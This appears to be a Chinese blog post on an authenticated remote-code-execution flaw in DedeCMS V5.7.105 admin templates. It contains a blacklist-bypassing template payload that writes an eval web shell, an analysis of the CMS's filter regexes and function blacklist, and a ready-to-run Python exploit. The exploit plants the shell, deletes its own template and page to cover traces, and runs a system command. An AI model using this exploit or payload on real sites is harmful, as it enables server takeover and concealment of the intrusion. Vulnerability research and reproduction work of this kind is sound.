前言

原文链接:https://mp.weixin.qq.com/s/bwBc4I9GeY6M_WlEDx83TA

复现记录时间:

下载当前最新版本DedeCMS V5.7.105进行漏洞复现以及漏洞分析

漏洞复现

可以自己在本地搭建漏洞环境,也可以拉取我自己制作的docker镜像

docker pull se1zer/dedecms:latest
docker run -d -P se1zer/dedecms

不会给镜像做瘦身,正在学了,555,要是拉取的太慢可以挂到后台或者就自己本地搭一下吧

首先需要到后台登录界面/uploads/dede/登录到后台,然后如下图操作创建一个模板

这里模板内容需要做绕过,详情看后边的漏洞分析

<?php
"\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('./shell.php', "<?php eva" . "l(\$_GE" . "T[a]);");
// file_put_contents('./shell.php', "<?php eval($_GET[a]);");

第二步,如下图增加一个页面

通过刚刚新建的模板进行新建页面,需要注意的是这里文件名处后缀为.php

之后便在/uploads/a/下创建了一个文件,访问/uploads/a/123.php页面将会执行自己写的file_put_contents函数生成一个shell.php

漏洞分析

通过刚才漏洞复现的接口,可以看到创建模板调用的是tpl.php文件,新建页面调用的是templets_one_add.php文件

tpl.php

文件位于/uploads/dede/tpl.php

在31行这里,对模板内容进行了一些过滤和检测,下边使用注释进行解释过滤

// 不允许这些字符
$content = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $content);
// 黑名单正则匹配
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,create_function,array_map,call_user_func,call_user_func_array,array_filert';
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
// [^a-z]+ 是除a-z之外的字符(在[]里不是开头的意思)
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{]#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
}
// 匹配<\?php头
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$content}") == TRUE) {
// 这里的U为惰性匹配
// 匹配函数变量执行,例如$a="phpinfo",则$a()就会被匹配
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
// 就是在上一个匹配前加了一个@,防止报错
if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
// 匹配反引号`,防止命令执行
if(preg_match("#[`][\s\S]*[`]#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");
}
}

通过上述梳理,发现有很多方法是可以绕过的!

之后进入$action == 'saveedit'语句,然后写入文件,这里模板文件必须使用.htm结尾

templets_one_add.php

前边都是对新建页面内容的一些处理,不会影响模板内容引入,在43行处开始保存文件

来到uploads/include/arc.sgpage.class.phpSavaToHtml方法

然后进入uploads/include/dedetag.class.phpSaveTo方法

798行获取模板内容,如果有标签的话,还会把标签的值写入文件

至此分析完毕

总结:代码没有对新建页面的文件后缀进行检测,并且模板内容安全检测也不够完善从而导致了这个漏洞的产生

EXP

import requests
from urllib.parse import urljoin
import re cookies = {
"PHPSESSID": "5k3br9fh4f34so2k0k85qqg3f5"
} headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36",
} s = requests.session()
s.headers.update(headers)
s.cookies.update(cookies) def exp(url): # 创建恶意模板
tpl_url = urljoin(url, "dede/tpl.php")
## 获取token
params="action=newfile&acdir=default"
r = s.get(tpl_url, params=params) token = re.search('"token" value="([a-z0-9]{32})"', r.text).group(1)
# print(token)
shell = """<?php
"\\x66\\x69\\x6c\\x65\\x5f\\x70\\x75\\x74\\x5f\\x63\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x73"('./shell.php', "<?php eva" . "l(\$_POS" . "T[a]);");
"""
data = {
"action": "saveedit",
"acdir": "default",
"token": token,
"filename": "hack.htm",
"content": shell
} r = s.post(tpl_url, data=data)
if "成功" in r.text:
print("成功创建模板") # 利用恶意模板新建页面
templets_url = urljoin(url, "dede/templets_one_add.php")
data = {
"dopost": "save",
"title": "hack",
"keywords": "hack",
"description": "hack",
"likeidsel": "default",
"nfilename": "/a/hack.php",
"template": "{style}/hack.htm",
"ismake": 0,
"body": ""
}
r = s.post(templets_url, data=data)
if "成功" in r.text:
print("成功增加页面")
s.get(urljoin(url, "a/hack.php")) # 清理痕迹
## 获取aid
r = s.get(urljoin(url, "dede/templets_one.php"))
aid = re.search("'templets_one_edit.php\?aid=([0-9]+)&dopost=edit'>hack", r.text).group(1)
## 删除页面
params = f"aid={aid}&dopost=delete"
r = s.get(urljoin(url, "dede/templets_one_edit.php"), params=params)
if "成功" in r.text:
print("成功删除页面")
## 删除恶意模板
params = "action=del&acdir=default&filename=hack.htm"
r = s.get(tpl_url, params=params)
if "成功" in r.text:
print("成功删除模板") shell_url = urljoin(url, "a/shell.php")
print("shell地址: " + shell_url)
print("shell密钥为a")
r = s.post(shell_url, data={"a":"system('whoami');"})
print("whoami命令执行结果: " + r.text) if __name__ == "__main__":
url = "http://phpstorm.com/DedeCMS-V5.7.105-UTF8/uploads/"
exp(url)

登录后台后,手动修改脚本中的cookie和网站根目录,运行脚本即可获得shell地址及密码

织梦DedeCMS 0day RCE的更多相关文章

  1. 织梦(Dedecms)select_soft_post.php页面变量未初始漏洞

    漏洞版本: Dedecms 5.5 漏洞描述: 漏洞产生文件位于include\dialog\select_soft_post.php,其变量$cfg_basedir没有正确初始化,导致可以饶过身份认 ...

  2. 织梦Dedecms使用Nginx的安全设置

    首先需要说明的是,任何程序都是有漏洞的,我们需要做好一些必要的防范,来减少由于程序漏洞造成的损失.织梦的漏洞多,这个是很多人的想法.不过大家如果做好了织梦系统的文件夹权限什么的设置,很多漏洞也是用不上 ...

  3. 织梦DedeCMS模板防盗的四种方法

    织梦(DedeCMS)模板也是一种财富,不想自己辛辛苦苦做的模板被盗用,在互联网上出现一些和自己一模一样的网站,就需要做好模板防盗.本文是No牛收集整理自网络,不过网上的版本都没有提供 Nginx 3 ...

  4. 织梦Dedecms安全设置

    织梦DedeCMS是一款非常流行的CMS,很多刚开始建站人都用的织梦,一方面是织梦比较容易操作;另一方面是织梦的SEO方面做的确实比其他的系统要好一些.这些都导致织梦的用户群是非常庞大的,用的人多了, ...

  5. 织梦DEDECMS网站后台安全检测提示 加一个开关

    1.进入后台后,点击 系统->系统基本参数->添加变量: 变量名称:cfg_safecheck_switch 变量值:N 变量类型:布尔(Y/N) 参数说明:启用安全监测系统: 2.找到系 ...

  6. 织梦DedeCMS首页调用单页文档内容的方法

    很多使用织梦dedecms单页文档功能的朋友都想知道如何在织梦首页调用单页文档的内容,下面就教大家具体的实现方法: 具体步骤如下: 首先在首页模板需要显示单页文档内容的地方插入如下代码: {dede: ...

  7. 织梦DedeCms调用全站相关文章方法

    织梦DedeCms 有个标签可以调用相关文章,通过下面的修改可以调用全站的相关文章,文章页内显示相关文章内容,可以提高关键词密度,还是挺不错的. 模板调用代码 <div>     < ...

  8. 织梦DedeCms用SQL语句调用数据库任意内容方法

    织梦DedeCms给我们提供了大量调用标签,供我们调用各种数据,但提供再多的标签,也有满足不了我们的时候,这时我们可以用SQL语句,灵活调用我们需要的内容. 如何任意调用数据库中的内容呢?先举个例子: ...

  9. 织梦DedeCms网站更换域名后文章图片路径批量修改

    因为织梦上传图片用的是绝对地址,如果域名更换后,之前发布的文章的图片URL是不会跟着改变的,所以我们需要把旧域名替换成新的域名,方法很简单,有一段SQL语句更新一下文章正文内容就行. 复制下面SQL语 ...

  10. 织梦DedeCms去掉栏目页面包屑导航最后的分隔符“>”

    织梦DedeCms的面包屑导航调用标签{dede:field name=’position’ /},在栏目页里调用的面包屑导航,最后会出现分割符号“>”,如:主页 > DedeCms 模板 ...

随机推荐

  1. NLP实践!文本语法纠错模型实战,搭建你的贴身语法修改小助手 ⛵

    作者:韩信子@ShowMeAI 深度学习实战系列:https://www.showmeai.tech/tutorials/42 自然语言处理实战系列:https://www.showmeai.tech ...

  2. 【每日一题】【判断栈是否为空的方法】2022年1月9日-NC76 用两个栈实现队列的出队入队【入队简单】

    描述用两个栈来实现一个队列,使用n个元素来完成 n 次在队列尾部插入整数(push)和n次在队列头部删除整数(pop)的功能. 队列中的元素为int类型.保证操作合法,即保证pop操作时队列内已有元素 ...

  3. <五>function的实现原理

    类模版std::function是一种通用.多态的函数封装.std::function的实例可以对任何可以调用的目标实体进行存储.复制.和调用操作,这些目标实体包括普通函数.Lambda表达式.函数指 ...

  4. 一篇文章教你实战Docker容器数据卷

    在上一篇中,咱们对Docker中的容器数据卷做了介绍.已经知道了容器数据卷是什么?能干什么用.那么本篇咱们就来实战容器数据卷,Docker容器数据卷案例主要做以下三个案例 1:宿主机(也就是Docke ...

  5. CCS选择器 选择器优先级 选择器常见属性

    目录 CSS前戏 1.css语法结构 2.css注释语法 3.引入css的多种方式 CSS基本选择器 1.标签选择器 2.类选择器 3.id选择器 4.通用选择器 CSS组合选择器 1.后代选择器(空 ...

  6. Python 大数据量文本文件高效解析方案代码实现

    大数据量文本文件高效解析方案代码实现 测试环境 Python 3.6.2 Win 10 内存 8G,CPU I5 1.6 GHz 背景描述 这个作品来源于一个日志解析工具的开发,这个开发过程中遇到的一 ...

  7. gitlab修改代码提交后显示中文名称

    公司要求提交的代码能显示出是哪位提交的,所以要求显示中文名称以便统计工作 修改方法: 打开CMD命令提示符输入页面,输入修改指令: git config --global user.name &quo ...

  8. Junti单元测试

    Junit单元测试 ## 测试分类 黑盒测试,白盒测试 黑盒测试,不需要写代码,给输入值,看程序是否能够输出期望的值 白盒测试,需要写代码的,关注程序的具体执行流程 Junit使用 是白盒测试 ### ...

  9. [0x12] 135.最大子序和【单调队列】

    我在知乎上看到一句话,如一道晴天霹雳: "如果一个选手比你小还比你强,你就可以退役了."--单调队列的原理 题意 link(more:P1714) 给定一个长度为 \(n\) 的整 ...

  10. CH334H与GL85x功能对比(过流检测与电源控制说明)

    CH334H与GL85x功能对比 CH334H是符合 USB2.0 协议规范的高性能MTT 4 端口 USB2.0  HUB 控制器芯片,高ESD特性,工业级设计,外围精简,可应用于计算机和工控机主板 ...